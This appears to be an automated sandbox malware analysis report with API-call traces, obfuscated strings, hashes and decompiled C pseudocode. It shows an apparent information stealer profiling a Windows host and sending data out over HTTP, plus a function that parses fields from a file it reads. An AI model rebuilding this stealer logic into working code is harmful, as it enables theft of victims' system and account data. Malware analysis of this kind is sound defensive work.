Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(hdx,00786540), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,00782758,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,00788618,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(007865A0,007865A0), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(007832F0,007832F0), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,00789FB8,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,007890F8,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(00783300,00783300), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(00783310,00783310), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(hdx,00786630), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(hdx,00785140), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(007866D8,007866D8), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(007864B0,007864B0), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(007864C8,007864C8), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(hdx,007864E0), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,00786BF8,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,00789038,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(hdx,00783320), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(00785380,00785380), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,0078A4F0,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Strings

3x, xrefs: 00405A72
hdx, xrefs: 004057AB, 0040580B, 0040589A, 0040595B, 0040598B, 00405A49, 00405A79, 004057AE, 0040580E, 0040589D, 0040595E, 0040598E, 00405A4C, 00405A7C
0fx, xrefs: 00405954
Px, xrefs: 00405804
dx, xrefs: 00405A43
@ex, xrefs: 00405893
@Qx, xrefs: 00405984
xfx, xrefs: 00405ADD
hdx, xrefs: 004057A5

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: 3x$0fx$@Qx$@ex$hdx$hdx$xfx$Px$dx
API String ID: 1685704716-3388470793
Opcode ID: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00575930, Relevance: 126.3, APIs: 64, Strings: 8, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057593B
RtlAllocateHeap.NTDLL(00000000), ref: 00575942
lstrcat.KERNEL32(?,0041A6E4), ref: 00575955
lstrcat.KERNEL32(?,0041A22C), ref: 00575966
lstrcat.KERNEL32(?,00418BC0), ref: 00575975
lstrcat.KERNEL32(?,0041A6C4), ref: 00575986
lstrcat.KERNEL32(?,00418BC4), ref: 00575995
lstrcat.KERNEL32(?,0041A544), ref: 005759A6
lstrcat.KERNEL32(?,00418BC0), ref: 005759B5
lstrcat.KERNEL32(?,0041A79C), ref: 005759C6
GetCurrentProcessId.KERNEL32 ref: 005759CC

Part of subcall function 0057BBA0: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0057BBB4
Part of subcall function 0057BBA0: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0057BBD5
Part of subcall function 0057BBA0: CloseHandle.KERNEL32(00000000), ref: 0057BBDF

lstrcat.KERNEL32(?,00000000), ref: 005759E0
lstrcat.KERNEL32(?,00418BC0), ref: 005759EF
lstrcat.KERNEL32(?,hdx), ref: 005759FF

Part of subcall function 0057AF30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00575A0A), ref: 0057AF3D
Part of subcall function 0057AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0057AF44
Part of subcall function 0057AF30: GetLocalTime.KERNEL32(?,?,?,?,?,00575A0A), ref: 0057AF51
Part of subcall function 0057AF30: wsprintfA.USER32 ref: 0057AF7E

lstrcat.KERNEL32(?,00000000), ref: 00575A0F
lstrcat.KERNEL32(?,00418BC4), ref: 00575A1E
lstrcat.KERNEL32(?,0041A044), ref: 00575A2F

Part of subcall function 0057AF90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057AFA0
Part of subcall function 0057AF90: RtlAllocateHeap.NTDLL(00000000), ref: 0057AFA7
Part of subcall function 0057AF90: GetTimeZoneInformation.KERNEL32(?), ref: 0057AFBA

lstrcat.KERNEL32(?,00000000), ref: 00575A3F
lstrcat.KERNEL32(?,00418BC0), ref: 00575A4E
lstrcat.KERNEL32(?,Px), ref: 00575A5F

Part of subcall function 0057B010: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0057B022

lstrcat.KERNEL32(?,00000000), ref: 00575A6F
lstrcat.KERNEL32(?,00418BC4), ref: 00575A7E
lstrcat.KERNEL32(?,0041A040), ref: 00575A8E

Part of subcall function 0057B050: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0057B060
Part of subcall function 0057B050: RtlAllocateHeap.NTDLL(00000000), ref: 0057B067
Part of subcall function 0057B050: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0057B088
Part of subcall function 0057B050: LocalAlloc.KERNEL32(00000040,?), ref: 0057B0A0
Part of subcall function 0057B050: GetKeyboardLayoutList.USER32(?,00000000), ref: 0057B0B4
Part of subcall function 0057B050: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0057B109
Part of subcall function 0057B050: wsprintfA.USER32 ref: 0057B132
Part of subcall function 0057B050: wsprintfA.USER32 ref: 0057B150
Part of subcall function 0057B050: memset.NTDLL ref: 0057B176
Part of subcall function 0057B050: LocalFree.KERNEL32(00000000), ref: 0057B18B

lstrcat.KERNEL32(?,00000000), ref: 00575A9E
lstrcat.KERNEL32(?,00418BC0), ref: 00575AAD
lstrcat.KERNEL32(?,0041A500), ref: 00575ABE

Part of subcall function 0057B1A0: GetSystemPowerStatus.KERNEL32(?), ref: 0057B1AA

lstrcat.KERNEL32(?,00000000), ref: 00575ACE
lstrcat.KERNEL32(?,00418BC4), ref: 00575ADD
lstrcat.KERNEL32(?,@ex), ref: 00575AEE

Part of subcall function 0057B1D0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B1E4
Part of subcall function 0057B1D0: RtlAllocateHeap.NTDLL(00000000), ref: 0057B1EB
Part of subcall function 0057B1D0: RegOpenKeyExA.ADVAPI32(80000002,X'x,00000000,00020119,00575AF9), ref: 0057B20B
Part of subcall function 0057B1D0: RegQueryValueExA.ADVAPI32(00575AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0057B22C
Part of subcall function 0057B1D0: RegCloseKey.ADVAPI32(00575AF9), ref: 0057B236

lstrcat.KERNEL32(?,00000000), ref: 00575AFE
lstrcat.KERNEL32(?,00418BC4), ref: 00575B0D
lstrcat.KERNEL32(?,0041A580), ref: 00575B1D

Part of subcall function 0057B250: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B25D
Part of subcall function 0057B250: RtlAllocateHeap.NTDLL(00000000), ref: 0057B264
Part of subcall function 0057B250: memset.NTDLL ref: 0057B275
Part of subcall function 0057B250: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0057B286
Part of subcall function 0057B250: __aulldiv.LIBCMT ref: 0057B2A0
Part of subcall function 0057B250: wsprintfA.USER32 ref: 0057B2CC

lstrcat.KERNEL32(?,00000000), ref: 00575B2D
lstrcat.KERNEL32(?,00418BC4), ref: 00575B3C
lstrcat.KERNEL32(?,0041A2A8), ref: 00575B4D

Part of subcall function 0057B2E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B2F4
Part of subcall function 0057B2E0: RtlAllocateHeap.NTDLL(00000000), ref: 0057B2FB
Part of subcall function 0057B2E0: RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[W), ref: 0057B31B
Part of subcall function 0057B2E0: RegQueryValueExA.ADVAPI32(X[W,0041A4DC,00000000,00000000,?,000000FF), ref: 0057B33C
Part of subcall function 0057B2E0: RegCloseKey.ADVAPI32(X[W), ref: 0057B346

lstrcat.KERNEL32(?,00000000), ref: 00575B5D
lstrcat.KERNEL32(?,0041A0A8), ref: 00575B6E

Part of subcall function 0057B360: GetCurrentProcess.KERNEL32(00000000), ref: 0057B36F
Part of subcall function 0057B360: IsWow64Process.KERNEL32(00000000), ref: 0057B376

lstrcat.KERNEL32(?,00000000), ref: 00575B7E
lstrcat.KERNEL32(?,0041A10C), ref: 00575B8F
lstrcat.KERNEL32(?,00418BC4), ref: 00575B9E
lstrcat.KERNEL32(?,0fx), ref: 00575BAF
lstrcat.KERNEL32(?,00000000), ref: 00575BBF
lstrcat.KERNEL32(?,00418BC4), ref: 00575BCE
lstrcat.KERNEL32(?,@Qx), ref: 00575BDF

Part of subcall function 0057B3D0: wsprintfA.USER32 ref: 0057B42C

lstrcat.KERNEL32(?,00000000), ref: 00575BEF
lstrcat.KERNEL32(?,00418BC0), ref: 00575BFE
lstrcat.KERNEL32(?,0041A75C), ref: 00575C0E

Part of subcall function 0057AEA0: GetProcessHeap.KERNEL32(00000000,00000104,?,00575C19), ref: 0057AEAD
Part of subcall function 0057AEA0: RtlAllocateHeap.NTDLL(00000000,?,00575C19), ref: 0057AEB4
Part of subcall function 0057AEA0: GetComputerNameA.KERNEL32(00575C19,00000104), ref: 0057AECC

lstrcat.KERNEL32(?,00000000), ref: 00575C1E
lstrcat.KERNEL32(?,00418BC4), ref: 00575C2D
lstrcat.KERNEL32(?,0041A4A4), ref: 00575C3E

Part of subcall function 0057AEF0: GetProcessHeap.KERNEL32(00000000,00000104,?,00575C49), ref: 0057AEFD
Part of subcall function 0057AEF0: RtlAllocateHeap.NTDLL(00000000,?,00575C49), ref: 0057AF04
Part of subcall function 0057AEF0: GetUserNameA.ADVAPI32(?,00000104), ref: 0057AF1C

lstrcat.KERNEL32(?,00000000), ref: 00575C4E
lstrcat.KERNEL32(?,00418BC4), ref: 00575C5D
lstrcat.KERNEL32(?,0041A3C0), ref: 00575C6E
lstrcat.KERNEL32(?,00000000), ref: 00575C7E
lstrcat.KERNEL32(?,00418BC4), ref: 00575C8D
lstrcat.KERNEL32(?,dx), ref: 00575C9D

Part of subcall function 0057B490: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B4A4
Part of subcall function 0057B490: RtlAllocateHeap.NTDLL(00000000), ref: 0057B4AB
Part of subcall function 0057B490: RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00575CA8), ref: 0057B4CB
Part of subcall function 0057B490: RegQueryValueExA.ADVAPI32(00575CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0057B4EC
Part of subcall function 0057B490: RegCloseKey.ADVAPI32(00575CA8), ref: 0057B4F6

lstrcat.KERNEL32(?,00000000), ref: 00575CAD
lstrcat.KERNEL32(?,00418BC4), ref: 00575CBC
lstrcat.KERNEL32(?, 3x), ref: 00575CCD

Part of subcall function 0057B510: GetCurrentHwProfileA.ADVAPI32(?), ref: 0057B51D
Part of subcall function 0057B510: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0057B52B
Part of subcall function 0057B510: RtlAllocateHeap.NTDLL(00000000), ref: 0057B532
Part of subcall function 0057B510: memset.NTDLL ref: 0057B549
Part of subcall function 0057B510: lstrcat.KERNEL32(?,?), ref: 0057B55A

lstrcat.KERNEL32(?,00000000), ref: 00575CDD
lstrcat.KERNEL32(?,00418BC0), ref: 00575CEC
lstrcat.KERNEL32(?,0041A31C), ref: 00575CFD
lstrcat.KERNEL32(?,00418BC4), ref: 00575D0C
lstrlen.KERNEL32(?), ref: 00575D22

Strings

@ex, xrefs: 00575AE3, 00575AE9
0fx, xrefs: 00575BA4, 00575BAA
@Qx, xrefs: 00575BD4, 00575BDA
xfx, xrefs: 00575D2D, 00575D33
hdx, xrefs: 005759F5, 005759FA
3x, xrefs: 00575CC2, 00575CC8
Px, xrefs: 00575A54, 00575A5A
dx, xrefs: 00575C93, 00575C98

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$wsprintf$CloseNameOpen$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: 3x$0fx$@Qx$@ex$hdx$xfx$Px$dx
API String ID: 874587921-4120609455
Opcode ID: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction ID: 6a9b45dfb4adb4f5d4167c4e28129c7629a4b7563c7e977f567f97316282dec4
Opcode Fuzzy Hash: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction Fuzzy Hash: 78C11BBA611504FFCB00DBE4EF8DD9E77B9AF4C3457208559B205D3661CB38AA20DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00574E30, Relevance: 103.6, APIs: 56, Strings: 3, Instructions: 371stringnetworkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00574E7A
RtlAllocateHeap.NTDLL(00000000), ref: 00574E81
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00574EA8
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00574ECA
StrCmpCA.SHLWAPI(?,00418B90), ref: 00574EED
lstrcat.KERNEL32(?,00000000), ref: 00574F20
lstrcat.KERNEL32(?,00418B9C), ref: 00574F32
lstrcat.KERNEL32(?,00418BA0), ref: 00574F44
lstrcat.KERNEL32(?,?), ref: 00574F58
lstrcat.KERNEL32(?,00418BA8), ref: 00574F6A
lstrcat.KERNEL32(?,00418B9C), ref: 00574F7C
lstrcat.KERNEL32(?,@pv), ref: 00574F90
lstrcat.KERNEL32(?,?), ref: 00574FA4
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00574FCD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00574FF2
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00C00100,00000000), ref: 00575037
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00400100,00000000), ref: 00575069
lstrcat.KERNEL32(?,00418BA0), ref: 0057508E
lstrcat.KERNEL32(?,?), ref: 005750A2
lstrcat.KERNEL32(?,00418B9C), ref: 005750B4
lstrcat.KERNEL32(?,p`x), ref: 005750C8
lstrcat.KERNEL32(?,0041A058), ref: 005750DB
lstrcat.KERNEL32(?,00418BAC), ref: 005750ED
lstrcat.KERNEL32(?,?), ref: 005750FE
lstrcat.KERNEL32(?,00418B9C), ref: 00575110
lstrcat.KERNEL32(?,00418BA0), ref: 00575122
lstrcat.KERNEL32(?,?), ref: 00575136
lstrcat.KERNEL32(?,00418B9C), ref: 00575148
lstrcat.KERNEL32(?,0041A644), ref: 0057515C
lstrcat.KERNEL32(?,?), ref: 0057516D
lstrcat.KERNEL32(?,00418BB4), ref: 0057517F
lstrcat.KERNEL32(?,0041A038), ref: 00575192
lstrcat.KERNEL32(?,00418B9C), ref: 005751A4
lstrcat.KERNEL32(?,@cx), ref: 005751B7
lstrcat.KERNEL32(?,00418BB8), ref: 005751C9
lstrlen.KERNEL32(?), ref: 005751D6
lstrlen.KERNEL32(?), ref: 005751E8
GetProcessHeap.KERNEL32(00000000,?), ref: 005751FF
RtlAllocateHeap.NTDLL(00000000), ref: 00575206
lstrlen.KERNEL32(?), ref: 00575219
memcpy.NTDLL(?,?,00000000), ref: 0057522E
lstrlen.KERNEL32(?,?,?), ref: 00575243
memcpy.NTDLL(?), ref: 00575250
lstrlen.KERNEL32(?), ref: 0057525D
lstrlen.KERNEL32(?,?,00000000), ref: 00575272
memcpy.NTDLL(?), ref: 00575282
lstrlen.KERNEL32(?,?,?), ref: 005752C1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 005752D6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 005752F5
StrCmpCA.SHLWAPI(?,00418B8C), ref: 0057530B
Sleep.KERNEL32(00007530), ref: 0057531C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0057536D
lstrcat.KERNEL32(?,00000000), ref: 005753A9
InternetCloseHandle.WININET(?), ref: 005753B8
InternetCloseHandle.WININET(?), ref: 005753C5
InternetCloseHandle.WININET(00000000), ref: 005753D2

Strings

@pv, xrefs: 00574F82, 00574F88
p`x, xrefs: 005750BA, 005750C0
@cx, xrefs: 005751AA, 005751AF

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: @cx$@pv$p`x
API String ID: 3074752877-3361846614
Opcode ID: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction ID: a85d433989e1ef1620c9ec71f42ebebc1065998ff51c6ebfa1ac2f4c383f81c5
Opcode Fuzzy Hash: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction Fuzzy Hash: AEF1A6B5A41218AFCB20DFA0DD48FDA7779BF48700F0085D9F209A7191DBB4AAA4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x787a28
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x787b30
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x787b30
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x787a58
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x7874a8
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x7873e8
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x787418
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x7882f8
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x7882f8
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x7883b8
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x7872d8
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x7883b8
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x7883b8
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x7889a0
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x787318
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,00786A18), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,00787A28), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
